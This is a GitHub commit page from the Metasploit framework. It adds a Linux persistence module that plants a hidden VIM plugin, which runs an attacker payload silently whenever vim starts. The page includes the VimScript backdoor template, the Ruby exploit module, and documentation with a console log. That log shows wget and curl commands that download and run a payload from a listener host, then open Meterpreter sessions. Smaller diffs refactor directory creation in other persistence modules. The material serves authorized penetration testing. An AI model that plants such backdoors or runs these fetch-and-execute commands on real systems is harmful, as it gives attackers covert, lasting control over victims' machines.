Skip to content

Commit 5814c14

Browse files
authored
Merge pull request rapid7#21206 from h00die/vim_plugin
vim plugin persistence
2 parents 0037e42 + 4da2554 commit 5814c14

11 files changed

Lines changed: 203 additions & 15 deletions

File tree

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
" NAME.vim - Runs in the background on startup, discards output
2+
3+
if !has('job') || exists('g:loaded_ZZWcUtfrDa')
4+
finish
5+
endif
6+
let g:loaded_NAME = 1
7+
8+
augroup NAME
9+
autocmd!
10+
autocmd VimEnter * silent! call job_start(["/bin/sh", "-c", "PAYLOAD_PLACEHOLDER"], {'out_io': 'null', 'err_io': 'null'})
11+
augroup END
Lines changed: 99 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,99 @@
1+
## Vulnerable Application
2+
3+
This module creates a VIM Plugin which executes a payload on VIM startup.
4+
5+
## Verification Steps
6+
7+
1. Install the application if needed
8+
2. Start msfconsole
9+
3. Get a shell on a linux computer with vim installed
10+
4. Do: `use exploit/linux/persistence/vim_persistence`
11+
5. Do: `run`
12+
6. Start `vim` on the remote computer
13+
7. You should get a shell.
14+
15+
## Options
16+
17+
### NAME
18+
19+
Name of the extension. Defaults to random.
20+
21+
## Scenarios
22+
23+
### vim 9.1.2141 on Kali 2026.1
24+
25+
```
26+
resource (/root/.msf4/msfconsole.rc)> setg verbose true
27+
verbose => true
28+
resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1
29+
lhost => 1.1.1.1
30+
resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp
31+
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
32+
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
33+
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
34+
resource (/root/.msf4/msfconsole.rc)> set target 7
35+
target => 7
36+
resource (/root/.msf4/msfconsole.rc)> set srvport 8082
37+
srvport => 8082
38+
resource (/root/.msf4/msfconsole.rc)> set uripath l
39+
uripath => l
40+
resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
41+
payload => linux/x64/meterpreter/reverse_tcp
42+
resource (/root/.msf4/msfconsole.rc)> set lport 4446
43+
lport => 4446
44+
resource (/root/.msf4/msfconsole.rc)> run
45+
[*] Exploit running as background job 0.
46+
[*] Exploit completed, but no session was created.
47+
[*] Started reverse TCP handler on 1.1.1.1:4446
48+
[*] Using URL: http://1.1.1.1:8082/l
49+
[*] Server started.
50+
[*] Run the following command on the target machine:
51+
wget -qO b1ULF8bg --no-check-certificate http://1.1.1.1:8082/l; chmod +x b1ULF8bg; ./b1ULF8bg& disown
52+
msf exploit(multi/script/web_delivery) >
53+
[*] 1.1.1.1 web_delivery - Delivering Payload (250 bytes)
54+
[*] Transmitting intermediate stager...(126 bytes)
55+
[*] Sending stage (3090404 bytes) to 1.1.1.1
56+
[*] Meterpreter session 1 opened (1.1.1.1:4446 -> 1.1.1.1:35126) at 2026-03-30 08:43:36 -0400
57+
58+
msf exploit(multi/script/web_delivery) > sessions -i 1
59+
[*] Starting interaction with 1...
60+
61+
meterpreter > getuid
62+
Server username: h00die
63+
meterpreter > sysinfo
64+
Computer : h00die-kali
65+
OS : Debian (Linux 6.18.12+kali-amd64)
66+
Architecture : x64
67+
BuildTuple : x86_64-linux-musl
68+
Meterpreter : x64/linux
69+
meterpreter > background
70+
[*] Backgrounding session 1...
71+
msf exploit(multi/script/web_delivery) > use exploit/linux/persistence/vim_persistence
72+
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
73+
msf exploit(linux/persistence/vim_persistence) > set session 1
74+
session => 1
75+
msf exploit(linux/persistence/vim_persistence) > exploit
76+
[*] Command to run on remote host: curl -so ./mCslKCWV http://1.1.1.1:8080/h21lOsiTyFK6CgBlUqDgZQ;chmod +x ./mCslKCWV;./mCslKCWV&
77+
[*] Exploit running as background job 1.
78+
[*] Exploit completed, but no session was created.
79+
80+
[*] Fetch handler listening on 1.1.1.1:8080
81+
[*] HTTP server started
82+
[*] Adding resource /h21lOsiTyFK6CgBlUqDgZQ
83+
[*] Started reverse TCP handler on 1.1.1.1:4444
84+
msf exploit(linux/persistence/vim_persistence) > [*] Running automatic check ("set AutoCheck false" to disable)
85+
[!] Payloads in /tmp will only last until reboot, you may want to choose elsewhere.
86+
[!] The service is running, but could not be validated. VIM is installed
87+
[*] Writing plugin to /root/.vim/plugin/UAxJbJuMy.vim
88+
[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/h00die-kali_20260330.4754/h00die-kali_20260330.4754.rc
89+
```
90+
91+
Open vim
92+
93+
```
94+
[*] Client 1.1.1.1 requested /h21lOsiTyFK6CgBlUqDgZQ
95+
[*] Sending payload to 1.1.1.1 (curl/8.18.0)
96+
[*] Transmitting intermediate stager...(126 bytes)
97+
[*] Sending stage (3090404 bytes) to 1.1.1.1
98+
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 1.1.1.1:40448) at 2026-03-30 08:48:02 -0400
99+
```

modules/exploits/linux/persistence/autostart.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -89,7 +89,7 @@ def install_persistence
8989
user = target_user
9090
home = get_home_dir(user)
9191
vprint_status('Making sure the autostart directory exists')
92-
cmd_exec("mkdir -p #{home}/.config/autostart") # in case no autostart exists
92+
mkdir("#{home}/.config/autostart", cleanup: false) # in case no autostart exists
9393

9494
name = datastore['BACKDOOR_NAME'] || Rex::Text.rand_text_alpha(5..8)
9595
path = "#{home}/.config/autostart/#{name}.desktop"

modules/exploits/linux/persistence/emacs_extension.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -83,13 +83,13 @@ def install_persistence
8383
@clean_up_rc << "upload #{path} #{config_file}\n"
8484
else
8585
print_status("#{config_file} does not exist, creating it")
86-
cmd_exec("mkdir #{emacs_dir}") unless directory?(emacs_dir) # don't use mkdir since that auto deletes on module finish
86+
mkdir(emacs_dir, cleanup: false) unless directory?(emacs_dir)
8787
write_file(config_file, '')
8888
@clean_up_rc << "rm #{config_file}\n"
8989
end
9090

9191
unless directory?(lisp_dir)
92-
cmd_exec("mkdir #{lisp_dir}")
92+
mkdir(lisp_dir, cleanup: false)
9393
@clean_up_rc << "rmdir #{lisp_dir}\n"
9494
end
9595

modules/exploits/linux/persistence/init_systemd.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -185,7 +185,7 @@ def systemd_user(backdoor_path, backdoor_file)
185185
user = target_user
186186
home = get_home_dir(user)
187187
vprint_status('Creating user service directory')
188-
cmd_exec("mkdir -p #{home}/.config/systemd/user")
188+
mkdir("#{home}/.config/systemd/user", cleanup: false)
189189

190190
service_name = "#{home}/.config/systemd/user/#{service_filename}.service"
191191
vprint_status("Writing service: #{service_name}")
@@ -196,7 +196,7 @@ def systemd_user(backdoor_path, backdoor_file)
196196
if !file_exist?(service_name)
197197
print_error('File not written, check permissions. Attempting secondary location')
198198
vprint_status('Creating user secondary service directory')
199-
cmd_exec("mkdir -p #{home}/.local/share/systemd/user")
199+
mkdir("#{home}/.local/share/systemd/user", cleanup: false)
200200

201201
service_name = "#{home}/.local/share/systemd/user/#{service_filename}.service"
202202
vprint_status("Writing .local service: #{service_name}")
Lines changed: 81 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,81 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Local
7+
Rank = ExcellentRanking
8+
9+
include Msf::Post::File
10+
include Msf::Exploit::Local::Persistence
11+
prepend Msf::Exploit::Remote::AutoCheck
12+
13+
def initialize(info = {})
14+
super(
15+
update_info(
16+
info,
17+
'Name' => 'VIM Plugin Persistence',
18+
'Description' => %q{
19+
This module creates a VIM Plugin which executes a payload on VIM startup.
20+
},
21+
'License' => MSF_LICENSE,
22+
'Author' => [
23+
'h00die',
24+
],
25+
'Platform' => [ 'linux' ],
26+
'Arch' => [ ARCH_CMD ],
27+
'SessionTypes' => [ 'meterpreter', 'shell' ],
28+
'Targets' => [[ 'Auto', {} ]],
29+
'References' => [
30+
[ 'URL', 'https://vimways.org/2019/writing-vim-plugin/'],
31+
[ 'URL', 'https://www.linode.com/docs/guides/writing-a-vim-plugin/'],
32+
['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
33+
],
34+
'DisclosureDate' => '1991-11-03', # VIM release date
35+
'DefaultTarget' => 0,
36+
'Notes' => {
37+
'Stability' => [CRASH_SAFE],
38+
'Reliability' => [REPEATABLE_SESSION],
39+
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
40+
}
41+
)
42+
)
43+
register_advanced_options [
44+
OptString.new('NAME', [ false, 'Name of the extension. Defaults to random'])
45+
]
46+
end
47+
48+
def check
49+
return CheckCode::Safe('VIM is required') unless command_exists?('vim')
50+
51+
CheckCode::Detected('VIM is installed')
52+
end
53+
54+
def plugin_name
55+
return datastore['NAME'] unless datastore['NAME'].empty?
56+
57+
Rex::Text.rand_text_alpha(5..10)
58+
end
59+
60+
def get_home
61+
return cmd_exec('echo ~').strip
62+
end
63+
64+
def install_persistence
65+
plugin = plugin_name
66+
vim_plugin = File.read(File.join(
67+
Msf::Config.data_directory, 'exploits', 'vim_plugin', 'plugin.vim'
68+
))
69+
vim_plugin = vim_plugin.gsub('PAYLOAD_PLACEHOLDER', payload.encoded.gsub(';./', ';nohup ./')) # already run async
70+
vim_plugin = vim_plugin.gsub('NAME', plugin)
71+
72+
path = "#{get_home}/.vim/plugin"
73+
mkdir(path, cleanup: false) unless directory?(path)
74+
path = "#{path}/#{plugin}.vim"
75+
vprint_status("Writing plugin to #{path}")
76+
unless write_file(path, vim_plugin)
77+
fail_with(Failure::UnexpectedReply, "Failed to write VIM plugin to #{path}")
78+
end
79+
@clean_up_rc = "rm #{path}\n"
80+
end
81+
end

modules/exploits/multi/persistence/obsidian_plugin.rb

Lines changed: 2 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -220,12 +220,10 @@ def install_persistence
220220
fail_with(Failure::NotFound, 'No vaults found') if vaults.empty?
221221
vaults.each_value do |vault|
222222
print_status("Uploading plugin to vault #{vault['path']}")
223-
# avoid mkdir function because that registers it for delete, and we don't want that for
224-
# persistent modules
225223
if ['windows', 'win'].include? session.platform
226-
cmd_exec("cmd.exe /c md \"#{vault['path']}\\.obsidian\\plugins\\#{plugin}\"")
224+
mkdir("#{vault['path']}\\.obsidian\\plugins\\#{plugin}", cleanup: false)
227225
else
228-
cmd_exec("mkdir -p '#{vault['path']}/.obsidian/plugins/#{plugin}/'")
226+
mkdir("#{vault['path']}/.obsidian/plugins/#{plugin}", cleanup: false)
229227
end
230228
vprint_status("Uploading: #{vault['path']}/.obsidian/plugins/#{plugin}/main.js")
231229
write_file("#{vault['path']}/.obsidian/plugins/#{plugin}/main.js", main_js(plugin))

modules/exploits/multi/persistence/python_site_specific_hook.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -98,7 +98,7 @@ def install_persistence
9898
print_status("Detected Python version #{@python_version}")
9999
get_hooks_path unless @hooks_path
100100

101-
mkdir(@hooks_path) if session.platform == 'osx' || session.platform == 'linux'
101+
mkdir(@hooks_path, cleanup: false) if session.platform == 'osx' || session.platform == 'linux'
102102

103103
fail_with(Failure::NotFound, "The hooks path #{@hooks_path} does not exists") unless directory?(@hooks_path)
104104
# check if hooks path writable

modules/exploits/osx/persistence/launch_plist.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -105,7 +105,7 @@ def install_persistence
105105
# drops a LaunchAgent plist into the user's Library, which specifies to run backdoor_path
106106
def add_launchctl_item
107107
label = File.basename(backdoor_path)
108-
cmd_exec("mkdir -p #{File.dirname(plist_path).shellescape}")
108+
mkdir(File.dirname(plist_path).shellescape, cleanup: false) unless directory?(File.dirname(plist_path))
109109
# NOTE: the OnDemand key is the OSX < 10.4 equivalent of KeepAlive
110110
item = <<-EOF
111111
<?xml version="1.0" encoding="UTF-8"?>
@@ -186,7 +186,7 @@ def user
186186
# @param [String] exe the executable to drop
187187
def write_backdoor(exe)
188188
print_status('Dropping backdoor executable...')
189-
cmd_exec("mkdir -p #{File.dirname(backdoor_path).shellescape}")
189+
mkdir(File.dirname(backdoor_path).shellescape, cleanup: false) unless directory?(File.dirname(backdoor_path))
190190

191191
if write_file(backdoor_path, exe)
192192
print_good("Backdoor stored to #{backdoor_path}")

modules/exploits/windows/persistence/notepadpp_plugin.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -84,7 +84,7 @@ def install_persistence
8484
if session.type == 'meterpreter'
8585
fail_with(Failure::UnexpectedReply, 'Error while creating malicious plugin directory') unless session.fs.dir.mkdir(payload_pathname)
8686
else
87-
fail_with(Failure::UnexpectedReply, 'Error while creating malicious plugin directory') unless cmd_exec("mkdir \"#{payload_pathname}\"")
87+
fail_with(Failure::UnexpectedReply, 'Error while creating malicious plugin directory') unless mkdir(payload_pathname, cleanup: false)
8888
end
8989

9090
fail_with(Failure::UnexpectedReply, "Error writing payload to: #{payload_pathname}") unless write_file(payload_pathname + payload_name + '.dll', payload_exe)

0 commit comments

Comments
 (0)